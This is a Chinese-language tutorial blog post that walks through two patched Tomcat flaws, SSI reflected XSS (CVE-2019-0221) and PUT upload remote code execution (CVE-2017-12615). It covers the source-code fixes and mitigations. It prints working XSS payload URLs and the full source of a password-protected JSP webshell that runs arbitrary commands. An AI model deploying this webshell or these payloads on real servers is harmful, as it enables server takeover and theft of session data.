Tomcat是一個開源的輕量級Web應用伺服器，在我們平常工作過程中接觸得非常多。代碼也非常經典，很多人為了提升自己的技術也會去閱讀學習Tomcat的源碼。但正如著名詩人李白所說的：世界上本沒有漏洞，使用的人多了，也就發現了漏洞。比如今年的2月份就爆出了存在檔案包含漏洞。今天我們選擇兩個比較直覺的Tomcat漏洞去模拟整個漏洞被攻擊的過程，以及漏洞為什麼會産生，Tomcat大神們又是如何應對的。
【攻擊一：XSS攻擊】
一、SSI技術說明
首先示範的漏洞和Tomcat的SSI功能有關，SSI是什麼
SSI技術，也叫作Serve Side Includes，SSI（伺服器端包含）是放置在HTML頁面中的指令，并在服務頁面時在伺服器上對其進行評估。它們使您可以将動态生成的内容添加到現有的HTML頁面，而不必通過CGI程式或其他動态技術來提供整個頁面。使用SSI技術檔案預設的字尾名為.shtml；
舉例：我們可以将指令放置到現有的HTML頁面中，例如：
!--#echo var="DATE_LOCAL" --> 當該頁面被執行時，将會顯示如下結果
Sunday, 22-March-2020 18:28:54 GMT SSI最常見的用途之一：輸出CGI程式的結果，例如``命中計數器''。關于該技術更為詳細的說明參見：
http://httpd.apache.org/docs/current/howto/ssi.html二、為Tomcat開啟SSI
- 準備好JRE、tomcat環境，我選擇的是“apache-tomcat-9.0.10” （該漏洞受影響的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
- 修改conf/context.xml第19行，開啟權限
<Context privileged="true"> - 修改confweb.xml，開啟SSI Servlet。該段代碼預設是被注釋掉的，我們删除注釋即可，代碼在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet> 去掉關于ssi配置的注釋 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping> - 在根目錄下添加madashu_env.shtml（習慣性命名為printEnv.shtml）檔案，位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html> - 啟動Tomcat即可
三、發起攻擊
- 我們輸入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E - XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E 攻擊成功，頁面展示如下。
通過這種方式我們使使用者加載并執行攻擊者惡意制造的網頁程式，攻擊者還可能得到包括但不限于更高的權限（如執行一些操作）、私密網頁内容、會話和cookie等各種内容。
四、源碼分析
漏洞産生後，Tomcat大神們迅速修複了該漏洞，我們從Github上找到當時的代碼修複送出記錄：
點選檢視commit說真的，當時看到這段修複代碼我是驚呆了，這是什麼騷操作！！！“entity”又是什麼鬼！！！
于是接下往下翻代碼
這個地方将我們輸入的變量值直接輸出到了網頁，很明顯剛剛的entity應該是進行了轉碼。我們找到SSIMediator.java檔案，路徑
org.apache.catalina.ssi. SSIMediator
這樣我們一下子就明白過來了，當發現是“entity”編碼，會将輸入的内容進行Escape，進而避免了XSS。
估計大神們當時也是緊急出了個hotfix版本，直接把參數寫死成“entity”。還有作為Web伺服器，大神們竟然也會犯這麼低級别的錯誤，是以這也解釋了為什麼不存在0Bug的系統，哈哈！去翻看最新的
SSIPrintenv.java
檔案，已經把“entity”定義成常量了，這才專業嘛！
【攻擊二：遠端代碼執行】
接下來再簡單示範下遠端代碼執行漏洞，該漏洞為高危漏洞，即使是非預設配置，但是一旦存在漏洞，那麼攻擊者可以成功上傳 Webshell，并控制伺服器。
- 通過put方式上傳檔案，請求進行中時進行攔截：
- 生成惡意檔案，取名叫
jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%> - 遠端上傳成功，接下來就可以愉快地在這個不屬于我們自己的tomcat裡玩耍了
- 整個代碼也是比較簡單的，可以翻看
JspServlet.java
，這裡就不做示範了。
說明：該漏洞影響範圍非常廣，從 5.x 到 9.x 全部中槍。最好的解決方式是将 conf/web.xml 中對于 DefaultServlet 的 readonly 設定為 true。
【結語】興趣是最好的老師，我們通過去看大佬們掉過的坑，寫過的代碼，站在巨人的肩膀人可以更快速地提升自己。有興趣的小夥伴可以去看看Tomcat已爆出的漏洞：
http://tomcat.apache.org/security-9.html本次示範的兩個漏洞分别是CVE-2019-0221，CVE-2017-12615。
![Java String.format方法的簡單使用[圖]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)